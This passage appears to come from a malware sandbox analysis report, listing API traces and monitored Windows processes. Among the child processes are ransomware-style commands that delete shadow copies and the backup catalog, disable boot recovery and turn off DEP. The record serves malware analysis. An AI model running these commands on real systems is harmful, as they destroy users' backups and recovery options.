free (_Block=0x2a2eed2b460) [0103.637] free (_Block=0x2a2eed2a610) [0103.637] free (_Block=0x2a2eed2b4e0) [0103.637] free (_Block=0x2a2eed2b400) [0103.637] free (_Block=0x2a2eed2ac50) [0103.637] free (_Block=0x2a2eed2df70) [0103.637] free (_Block=0x2a2eed2e030) [0103.637] free (_Block=0x2a2eed2a6d0) [0103.637] free (_Block=0x2a2eed2db30) [0103.637] free (_Block=0x2a2eed2db90) [0103.637] free (_Block=0x2a2eed2ac90) [0103.637] free (_Block=0x2a2eed2b1c0) [0103.637] free (_Block=0x2a2eed2b220) [0103.637] free (_Block=0x2a2eed2a5d0) [0103.637] free (_Block=0x2a2eed2b500) [0103.637] free (_Block=0x2a2eed2b520) [0103.637] free (_Block=0x2a2eed2a850) [0103.637] free (_Block=0x2a2eed2b200) [0103.637] free (_Block=0x2a2eed2b320) [0103.637] free (_Block=0x2a2eed2a750) [0103.637] free (_Block=0x2a2eed2b2e0) [0103.637] free (_Block=0x2a2eed2b360) [0103.637] free (_Block=0x2a2eed2a690) [0103.637] free (_Block=0x2a2eed2b4a0) [0103.637] free (_Block=0x2a2eed2b440) [0103.637] free (_Block=0x2a2eed2ab90) [0103.638] free (_Block=0x2a2eed2b340) [0103.638] free (_Block=0x2a2eed2b480) [0103.638] free (_Block=0x2a2eed2a710) [0103.638] free (_Block=0x2a2eed2b380) [0103.638] free (_Block=0x2a2eed2b420) [0103.638] free (_Block=0x2a2eed2a650) [0103.638] free (_Block=0x2a2eed2b4c0) [0103.638] free (_Block=0x2a2eed2b1e0) [0103.638] free (_Block=0x2a2eed2a7d0) [0103.638] free (_Block=0x2a2eed2b3a0) [0103.638] free (_Block=0x2a2eed2b300) [0103.638] free (_Block=0x2a2eed2ac10) [0103.638] CoUninitialize () [0103.726] exit (_Code=-2147217388) [0103.728] free (_Block=0x2a2eed2a890) [0103.728] free (_Block=0x2a2eed21620) [0103.729] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0103.729] free (_Block=0x2a2eed2b5f0) [0103.729] free (_Block=0x2a2eed25d40) [0103.729] free (_Block=0x2a2eed215e0) [0103.729] free (_Block=0x2a2eed215a0) [0103.729] free (_Block=0x2a2eed26f70) [0103.729] free (_Block=0x2a2eed26f30) [0103.729] free (_Block=0x2a2eed26ed0) [0103.729] free (_Block=0x2a2eed26e50) [0103.729] free (_Block=0x2a2eed26e10) [0103.729] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0103.729] free (_Block=0x2a2eed2daf0) Thread: id = 34 os_tid = 0x260 Thread: id = 42 os_tid = 0xd70 Thread: id = 43 os_tid = 0xcec Thread: id = 44 os_tid = 0xe88 Thread: id = 45 os_tid = 0x1b4 Process: id = "10" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x613bf000" os_pid = "0x9e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xac8" cmd_line = "bcdedit /set {default} recoveryenabled no" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x8ac Thread: id = 32 os_tid = 0xe9c Process: id = "11" image_name = "wbadmin.exe" filename = "c:\\windows\\system32\\wbadmin.exe" page_root = "0x34425000" os_pid = "0x7bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x37c" cmd_line = "wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xd34 Thread: id = 31 os_tid = 0xf04 Thread: id = 36 os_tid = 0xd38 Thread: id = 40 os_tid = 0xc04 Thread: id = 41 os_tid = 0xfd0 Process: id = "12" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x6d89000" os_pid = "0x46c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x8e8" cmd_line = "bcdedit.exe /set {current} nx AlwaysOff" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0xf60 Thread: id = 30 os_tid = 0xd54 Process: id = "13" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x6d9b000" os_pid = "0xd4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x754" cmd_line = "vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0xd64 Thread: id = 35 os_tid = 0xf44 Thread: id = 37 os_tid = 0x6dc Thread: id = 38 os_tid = 0x788 Thread: id = 39 os_tid = 0xdc0 Process: id = "14" image_name = "bcdedit.exe" filename = "c:\\windows\\system32\\bcdedit.exe" page_root = "0x74c8000" os_pid = "0xd74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xef8" cmd_line = "bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0xbe4 Thread: id = 33 os_tid = 0xec0 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x51a30000" os_pid = "0x3c0" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x738" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 46 os_tid = 0xd24 Thread: id = 47 os_tid = 0xff8 Thread: id = 48 os_tid = 0xff4 Thread: id = 49 os_tid = 0xfe4 Thread: id = 50 os_tid = 0xf20 Thread: id = 51 os_tid = 0xa28 Thread: id = 52 os_tid = 0xa7c Thread: id = 53 os_tid = 0x8f0 Thread: id = 54 os_tid = 0xe0 Thread: id = 55 os_tid = 0xa70 Thread: id = 56 os_tid = 0x8f4 Thread: id = 57 os_tid = 0x7a8 Thread: id = 58 os_tid = 0xf40 Thread: id = 59 os_tid = 0xf38 Thread: id = 60 os_tid = 0xf18 Thread: id = 61 os_tid = 0x714 Thread: id = 62 os_tid = 0xb84 Thread: id = 63 os_tid = 0xd68 Thread: id = 64 os_tid = 0xdb8 Thread: id = 65 os_tid = 0x840 Thread: id = 66 os_tid = 0x344 Thread: id = 67 os_tid = 0xa9c Thread: id = 68 os_tid = 0x39c Thread: id = 69 os_tid = 0xe60 Thread: id = 70 os_tid = 0xa78 Thread: id = 71 os_tid = 0xfe0 Thread: id = 72 os_tid = 0x49c Thread: id = 73 os_tid = 0x3a8 Thread: id = 74 os_tid = 0xcbc Thread: id = 75 os_tid = 0x4a8 Thread: id = 76 os_tid = 0xf24 Thread: id = 77 os_tid = 0xee8 Thread: id = 78 os_tid = 0xcac Thread: id = 79 os_tid = 0x910 Thread: id = 80 os_tid = 0xa88 Thread: id = 81 os_tid = 0xca0 Thread: id = 82 os_tid = 0x83c Thread: id = 83 os_tid = 0xc48 Thread: id = 84 os_tid = 0xa90 Thread: id = 85 os_tid = 0x6c0 Thread: id = 86 os_tid = 0xeec Thread: id = 87 os_tid = 0xec4 Thread: id = 88 os_tid = 0xa50 Thread: id = 89 os_tid = 0xa3c Thread: id = 90 os_tid = 0xa30 Thread: id = 91 os_tid = 0xa18 Thread: id = 92 os_tid = 0x9c4 Thread: id = 93 os_tid = 0x9ac Thread: id = 94 os_tid = 0x9a4 Thread: id = 95 os_tid = 0x9a0 Thread: id = 96 os_tid = 0x99c Thread: id = 97 os_tid = 0x998 Thread: id = 98 os_tid = 0x990 Thread: id = 99 os_tid = 0x988 Thread: id = 100 os_tid = 0x980 Thread: id = 101 os_tid = 0x970 Thread: id = 102 os_tid = 0x96c Thread: id = 103 os_tid = 0x968 Thread: id = 104 os_tid = 0x960 Thread: id = 105 os_tid = 0x954 Thread: id = 106 os_tid = 0x950 Thread: id = 107 os_tid = 0x93c Thread: id = 108 os_tid = 0x938 Thread: id = 109 os_tid = 0x924 Thread: id = 110 os_tid = 0x87c Thread: id = 111 os_tid = 0x80c Thread: id = 112 os_tid = 0x808 Thread: id = 113 os_tid = 0x4dc Thread: id = 114 os_tid = 0x7dc Thread: id = 115 os_tid = 0x7d4 Thread: id = 116 os_tid = 0x7d0 Thread: id = 117 os_tid = 0x7c0 Thread: id = 118 os_tid = 0x730 Thread: id = 119 os_tid = 0x6f0 Thread: id = 120 os_tid = 0x6ec Thread: id = 121 os_tid = 0x664 Thread: id = 122 os_tid = 0x59c Thread: id = 123 os_tid = 0x554 Thread: id = 124 os_tid = 0x4b4 Thread: id = 125 os_tid = 0x44c Thread: id = 126 os_tid = 0x448 Thread: id = 127 os_tid = 0x428 Thread: id = 128 os_tid = 0x418 Thread: id = 129 os_tid = 0x414 Thread: id = 130 os_tid = 0x35c Thread: id = 131 os_tid = 0x340 Thread: id = 132 os_tid = 0x3a0 Thread: id = 133 os_tid = 0x38c Thread: id = 134 os_tid = 0x364 Thread: id = 135 os_tid = 0x248 Thread: id = 136 os_tid = 0x280 Thread: id = 137 os_tid = 0x29c Thread: id = 138 os_tid = 0x188 Thread: id = 139 os_tid = 0x3c4 Thread: id = 196 os_tid = 0xf0 Thread: id = 197 os_tid = 0xbe8 Thread: id = 198 os_tid = 0xdf4 Thread: id = 199 os_tid = 0xf94 Thread: id = 200 os_tid = 0xff8 Thread: id = 201 os_tid = 0xf2c Thread: id = 202 os_tid = 0x4b0 Thread: id = 203 os_tid = 0xd84 Thread: id = 204 os_tid = 0xfd0 Thread: id = 205 os_tid = 0xc04 Thread: id = 206 os_tid = 0xf10 Thread: id = 207 os_tid = 0xed8 Thread: id = 208 os_tid = 0xd34 Thread: id = 211 os_tid = 0x738 Thread: id = 212 os_tid = 0x9b0 Thread: id = 213 os_tid = 0xf98 Thread: id = 214 os_tid = 0xfac Thread: id = 216 os_tid = 0xfa0 Thread: id = 217 os_tid = 0xfa8 Thread: id = 254 os_tid = 0xc04 Thread: id = 255 os_tid = 0xf10 Process: id = "16" image_name = "wbengine.exe" filename = "c:\\windows\\system32\\wbengine.exe" page_root = "0x7c89000" os_pid = "0xfec" os_integrity_level = "0x4000" os_privileges = "0x20860100" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x7bc" cmd_line = "\"C:\\WINDOWS\\system32\\wbengine.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\wbengine" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006c687" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 140 os_tid = 0xdc8 Thread: id = 141 os_tid = 0xe90 Thread: id = 142 os_tid = 0xe5c Thread: id = 143 os_tid = 0xd7c Thread: id = 144 os_tid = 0xcdc Thread: id = 145 os_tid = 0xfe8 Thread: id = 146 os_tid = 0xf78 Thread: id = 166 os_tid = 0x668 Process: id = "17" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x68173000" os_pid = "0xf80" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 147 os_tid = 0xce4 Thread: id = 148 os_tid = 0xd08 Thread: id = 149 os_tid = 0xcd8 Thread: id = 150 os_tid = 0x7ec Thread: id = 151 os_tid = 0xcb8 Thread: id = 152 os_tid = 0x4a4 Thread: id = 153 os_tid = 0xd48 Thread: id = 154 os_tid = 0x470 Thread: id = 155 os_tid = 0xf74 Process: id = "18" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x50daa000" os_pid = "0xe04" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0002f35f" [0xc000000f] Thread: id = 156 os_tid = 0xf1c Thread: id = 157 os_tid = 0xe30 Thread: id = 158 os_tid = 0xe2c Thread: id = 159 os_tid = 0xe28 Thread: id = 160 os_tid = 0xe24 Thread: id = 161 os_tid = 0xe20 Thread: id = 162 os_tid = 0xe1c Thread: id = 163 os_tid = 0xe18 Thread: id = 164 os_tid = 0xe14 Thread: id = 165 os_tid = 0xe08 Thread: id = 167 os_tid = 0xe9c Process: id = "19" image_name = "vdsldr.exe" filename = "c:\\windows\\system32\\vdsldr.exe" page_root = "0x1057f000" os_pid = "0x7fc" os_integrity_level = "0x4000" os_privileges = "0x20860100" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0xfec" cmd_line = "C:\\WINDOWS\\System32\\vdsldr.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\wbengine" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006c687" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 168 os_tid = 0xcf0 Thread: id = 169 os_tid = 0x46c Thread: id = 170 os_tid = 0xd74 Thread: id = 171 os_tid = 0x9e4 Thread: id = 172 os_tid = 0xf60 Thread: id = 173 os_tid = 0xbe4 Thread: id = 174 os_tid = 0x8ac Process: id = "20" image_name = "vds.exe" filename = "c:\\windows\\system32\\vds.exe" page_root = "0x890c000" os_pid = "0xac8" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x7fc" cmd_line = "C:\\WINDOWS\\System32\\vds.exe" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\vds" [0xe], "NT AUTHORITY\\Logon Session 00000000:00072cea" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 178 os_tid = 0x6dc Thread: id = 179 os_tid = 0xd64 Thread: id = 180 os_tid = 0x788 Thread: id = 181 os_tid = 0x8e8 Thread: id = 182 os_tid = 0xce8 Thread: id = 183 os_tid = 0xa60 Thread: id = 184 os_tid = 0xce0 Thread: id = 185 os_tid = 0xf44 Thread: id = 186 os_tid = 0xf8c Thread: id = 187 os_tid = 0x540 Thread: id = 188 os_tid = 0x824 Thread: id = 189 os_tid = 0xeb0 Thread: id = 190 os_tid = 0xeb4 Thread: id = 191 os_tid = 0xf90 Thread: id = 192 os_tid = 0xe00 Thread: id = 193 os_tid = 0xd20 Thread: id = 194 os_tid = 0x1b4 Thread: id = 258 os_tid = 0xdf4 Process: id = "21" image_name = "werfault.exe" filename = "c:\\windows\\system32\\werfault.exe" page_root = "0xc713000" os_pid = "0x26c" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\WerFault.exe -u -p 960 -s 3812" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 209 os_tid = 0x368 Thread: id = 210 os_tid = 0xa80 Thread: id = 215 os_tid = 0x68c Thread: id = 218 os_tid = 0xe30 Thread: id = 225 os_tid = 0x174 Thread: id = 226 os_tid = 0xf64 Thread: id = 256 os_tid = 0xed8 Process: id = "22" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x180c3000" os_pid = "0xf50" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Process: id = "23" image_name = "taskhostw.exe" filename = "c:\\windows\\system32\\taskhostw.exe" page_root = "0x1b760000" os_pid = "0xcc8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "taskhostw.exe" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 219 os_tid = 0x4f0 Thread: id = 220 os_tid = 0x4c4 Thread: id = 221 os_tid = 0xf60 Thread: id = 222 os_tid = 0x8ac Thread: id = 223 os_tid = 0xdbc Thread: id = 224 os_tid = 0xd54 Thread: id = 227 os_tid = 0xea8 Process: id = "24" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x3a1e5000" os_pid = "0xfc0" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x3c0" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT 